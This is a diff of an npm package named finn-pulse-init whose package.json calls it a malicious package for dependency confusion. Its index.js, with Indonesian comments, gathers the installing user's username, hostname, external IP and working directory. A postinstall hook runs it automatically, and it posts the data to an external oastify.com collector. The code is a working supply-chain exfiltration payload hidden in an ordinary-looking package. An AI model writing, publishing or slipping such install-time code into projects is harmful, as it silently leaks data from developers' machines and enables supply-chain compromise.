finn-pulse-init 1.0.6

package/.env

@@ -0,0 +1 @@
+asuuuuuuuuuuuuuuuuuuuuuu

package/index.js

@@ -0,0 +1,62 @@
+const os = require('os');
+const axios = require('axios');
+const path = require('path');
+
+// Mendapatkan waktu saat ini
+function getCurrentTime() {
+  return new Date().toISOString();
+}
+
+// Mendapatkan nama organisasi atau pengguna
+function getOrganization() {
+  return os.userInfo().username;  // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
+}
+
+// Mendapatkan IP eksternal dengan menggunakan API
+function getExternalIP() {
+  return axios.get('https://api.ipify.org?format=json')
+    .then(response => response.data.ip)
+    .catch(error => 'IP eksternal tidak ditemukan');
+}
+
+// Mendapatkan nama host
+function getHostname() {
+  return os.hostname();
+}
+
+// Mendapatkan jalur direktori saat ini
+function getCurrentPath() {
+  return path.resolve('.');
+}
+
+// Mengumpulkan data yang dibutuhkan
+async function collectData() {
+  const time = getCurrentTime();
+  const organization = getOrganization();
+  const externalIP = await getExternalIP();
+  const hostname = getHostname();
+  const currentPath = getCurrentPath();
+  const packageName = 'my-package'; // Sesuaikan dengan nama package yang Anda uji
+
+  const data = {
+    time: time,
+    organization: organization,
+    ipAddress: externalIP,
+    packageName: packageName,
+    hostname: hostname,
+    currentPath: currentPath
+  };
+
+  console.log(data);  // Tampilkan data yang dikumpulkan
+
+  // Mengirim data ke server target (misalnya Attacoker atau server lain)
+  axios.post('https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com/log', data)
+    .then(response => {
+      console.log('Data berhasil dikirim:', response.data);
+    })
+    .catch(error => {
+      console.error('Error saat mengirim data:', error);
+    });
+}
+
+collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data

package/package.json

@@ -0,0 +1,14 @@
+{
+    "name": "finn-pulse-init",
+    "version": "1.0.6",
+    "description": "Malicious package for dependency confusion",
+    "main": "index.js",
+    "scripts": {
+        "postinstall": "node index.js"
+    },
+    "author": "Attacker",
+    "license": "MIT",
+    "dependencies": {
+        "axios": "^0.21.1"
+    }
+}